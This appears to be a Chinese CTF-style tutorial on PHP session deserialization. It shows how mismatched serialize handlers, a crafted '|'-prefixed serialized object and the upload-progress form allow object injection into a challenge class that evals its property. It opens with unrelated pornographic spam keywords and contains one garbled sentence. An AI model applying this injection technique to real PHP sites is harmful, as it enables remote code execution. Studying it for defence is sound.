亚洲乱码中文字幕综合,中国熟女仑乱hd,亚洲精品乱拍国产一区二区三区,一本大道卡一卡二卡三乱码全集资源,又粗又黄又硬又爽的免费视频

PHP?session的反序列化你了解嗎

 更新時間:2022年03月28日 16:32:09   作者:凌晨四點起床刷題的SwaggyP1  
這篇文章主要為大家詳細介紹了session反序列化,文中示例代碼介紹的非常詳細,具有一定的參考價值,感興趣的小伙伴們可以參考一下,希望能夠給你帶來幫助

session反序列化的漏洞是由三種不同的反序列化引擎所產生的的漏洞

其中

session.serialize_handler string--定義用來序列化/反序列化的處理器名字。默認使用php

在這里插入圖片描述

若使用如下設置:

<?php
//ini_set('session.serialize_handler', 'php');
//ini_set("session.serialize_handler", "php_serialize");
ini_set("session.serialize_handler", "php_binary");
phpinfo();

在這里插入圖片描述

則改變了序列化的引擎

save_path則是session的存放路徑 我們可以通過改變ini_Set來查看不同引擎下的序列化的類型

三種引擎的存儲格式:

php : a|s:3:"wzk";
php_serialize : a:1:{s:1:"a";s:3:"wzk";}
php_binary : as:3:"wzk";

漏洞產生在于

php引擎的存儲格式是鍵名 |serialized_string,而php_serialize引擎的存儲格式是serialized_string。如果程序使用兩個引擎來分別處理的話就會出現(xiàn)問題。
session_start() 會創(chuàng)建新會話或者重用現(xiàn)有會話。 如果通過 GET 或者 POST 方式,或者使用 cookie 提交了會話 ID, 則會重用現(xiàn)有會話。

所以如果存在兩種不同的引擎,就可以利用session_start()的自動反序列化,把我們想要傳輸?shù)臄?shù)據(jù)傳輸?shù)椒掌髦?

eg:

<?php
ini_set("session.serialize_handler", "php_serialize");
session_start();
$_SESSION['swaggyp'] = $_GET['a'];
echo var_dump($_SESSION);

代碼1:用來保存在本地一個session

代碼2:

<?php
ini_set('session.serialize_handler', 'php');
session_start();
echo var_dump($_SESSION);
class student{
    var $name;
    var $age;
    function __wakeup()
    {
        // TODO: Implement __wakeup() method.
        echo "wzk".$this->name;
    }
}

用于讀取session然后進行反序列化 若wakeup方法被調用則說明反序列化成功

<?php
class student{
    var $name;
    var $age;
}
$a = new student();
$a->nage =  "swaggyp";
$a->age = "1111";
echo serialize($a);
//O:7:"student":3:{s:4:"name";N;s:3:"age";s:4:"1111";s:4:"nage";s:7:"swaggyp";}

該代碼用于生成一個一個序列

參考于:

生成后,在1中傳入這段序列化的值并在開頭加入 | 則在第二個文件被解析的時候,就會把|后的內容直接當成一個類去解析 實現(xiàn)我們的目的

在這里插入圖片描述

在這里插入圖片描述

成功了

php 這個session.serialize_handler 將 | 后的字符串反序列化,導致產生惡意對象。

upload過程中會產生session,存在一個鍵值對的值為filename(可控),如果filename被我們修改為|+序列化對象字符串(特殊字符記得轉義),filename |后的內容就會被認為是序列化的內容,進而反序列化產生惡意對象(實際上PHP中session是寫到文件中的,我們暫且忽略這一中間步驟對此處并無影響),在對象自毀時去執(zhí)行__destruct()內的語句

<form action =“ upload.php” method =“ POST” enctype =“ multipart / form-data”>
    <input type =“ hidden” name =“ PHP_SESSION_UPLOAD_PROGRESS” value =“ ryat” />
    <input type =“ file” name =“ file” />
    <input type =“ submit” />
</ form>

S E S S I O N 中 的 鍵 值 就 會 為 _SESSION中的鍵值就會為 S?ESSION中的鍵值就會為_SESSION[“upload_progress_ryat”],在會話上傳過程中,將對會話數(shù)據(jù)進行序列化/反序列化,序列化格式由php.ini中的session.serialize_handler選項設置。 這意味著,如果在腳本中設置了不同的serialize_handler,那么可以導致注入任意session數(shù)據(jù)

題目:

<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
    public $mdzz;
    function __construct()
    {
        $this->mdzz = 'phpinfo();';
    }
    function __destruct()
    {
        eval($this->mdzz);
    }
}
if(isset($_GET['phpinfo']))
{
    $m = new OowoO();
}
else
{
    highlight_string(file_get_contents('index.php'));
}
?>

構造登錄框和payload

在這里插入圖片描述

總結

本篇文章就到這里了,希望能夠給你帶來幫助,也希望您能夠多多關注腳本之家的更多內容!

相關文章

最新評論